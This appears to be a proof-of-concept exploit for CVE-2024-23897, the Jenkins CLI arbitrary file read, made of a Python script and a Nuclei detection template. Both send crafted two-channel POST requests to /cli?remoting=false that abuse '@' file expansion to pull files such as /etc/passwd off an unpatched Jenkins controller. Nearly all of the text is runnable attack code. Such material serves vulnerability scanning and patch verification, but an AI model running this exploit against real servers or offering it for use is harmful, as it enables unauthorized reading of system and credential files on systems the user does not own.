import threading
import http.client
import time
import uuid
import urllib.parse
import sys

if len(sys.argv) != 3:
    print('[*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]')
    exit()

data_bytes = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + sys.argv[2].encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'
target = urllib.parse.urlparse(sys.argv[1])
uuid_str = str(uuid.uuid4())

print(f'REQ: {data_bytes}\n')

def req1():
    conn = http.client.HTTPConnection(target.netloc)
    conn.request("POST", "/cli?remoting=false", headers={
        "Session": uuid_str,
        "Side": "download"
    })
    print(f'RESPONSE: {conn.getresponse().read()}')

def req2():
    conn = http.client.HTTPConnection(target.netloc)
    conn.request("POST", "/cli?remoting=false", headers={
        "Session": uuid_str,
        "Side": "upload",
        "Content-type": "application/octet-stream"
    }, body=data_bytes)

t1 = threading.Thread(target=req1)
t2 = threading.Thread(target=req2)

t1.start()
time.sleep(0.1)
t2.start()

t1.join()
t2.join()

python poc.py http://127.0.0.1:8888/ [/etc/passwd]

id: CVE-2024-23897

info:
  name: Jenkins < 2.441 - Arbitrary File Read
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.
  reference:
    - https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314
  tags: cve,cve2024,lfi,rce,jenkins

variables:
  payload: "{{hex_decode('0000000e00000c636f6e6e6563742d6e6f64650000000e00000c402f6574632f706173737764000000070200055554462d3800000007010005656e5f41450000000003')}}"

javascript:
  - code: |
      let m = require('nuclei/net');
      let name=(Host.includes(':') ? Host : Host+":80");
      let conn,conn2;
      try { conn = m.OpenTLS('tcp', name) } catch { conn=  m.Open('tcp', name)}
      conn.Send('POST /cli?remoting=false HTTP/1.1\r\nHost:'+Host+'\r\nSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92\r\nSide: download\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n');
      try { conn2 = m.OpenTLS('tcp', name) } catch { conn2=  m.Open('tcp', name)}
      conn2.Send('POST /cli?remoting=false HTTP/1.1\r\nHost:'+Host+'\r\nContent-type: application/octet-stream\r\nSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92\r\nSide: upload\r\nConnection: keep-alive\r\nContent-Length: 163\r\n\r\n'+Body)
      resp = conn.RecvString(1000)
    args:
      Body: "{{payload}}"
      Host: "{{Hostname}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(response, "No such agent \"")'